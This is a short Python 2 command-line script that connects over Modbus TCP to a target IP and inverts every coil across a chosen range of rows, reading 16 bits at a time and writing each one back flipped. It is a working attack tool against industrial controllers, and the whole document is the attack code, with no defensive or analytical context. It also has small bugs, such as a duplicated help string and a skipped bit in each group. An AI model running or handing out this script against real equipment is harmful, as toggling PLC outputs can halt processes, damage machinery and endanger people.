#!/usr/bin/python2

import os

import sys

from pymodbus.client.sync import ModbusTcpClient

from random import randint

from optparse import OptionParser

if __name__ == '__main__':

parser = OptionParser()

parser.add_option("-s", dest='start' , default=0, type="int", help="starting row")

parser.add_option("-e", dest='end' , default=4095, type="int", help="starting row")

parser.add_option("-i", dest='ipaddress', default="",help="ipaddress to target")

(options,args) = parser.parse_args()

client = ModbusTcpClient(options.ipaddress)

#for x in range(4090,4095):

#check for stupidity

if len(options.ipaddress.strip())==0:

print('invalid target ip')

sys.exit(1)

if options.start<0 or (options.start>options.end):

print('invalid start (0-4095)')

sys.exit(1)

if options.end>4095 or (options.end<options.start):

print('invalid end (0-4095)')

sys.exit(1)

#client reads at least 8 bits at a time, no matter what you ask for..so get 16

#and flip bits rows at a time bits 0-65535, rows 0-4095, 16bits each time.

for x in range(options.start,options.end):

row=min(x*16,65520)

result = client.read_coils(row,16)

print("flipping bits from %d,%d"%(row,min(row+16,65535)))

print("was %r"%result.bits)

for y in range(len(result.bits)-1):

if result.bits[y]:

client.write_coil((row)+y, False)

else:

client.write_coil((row)+y,True)

client.close()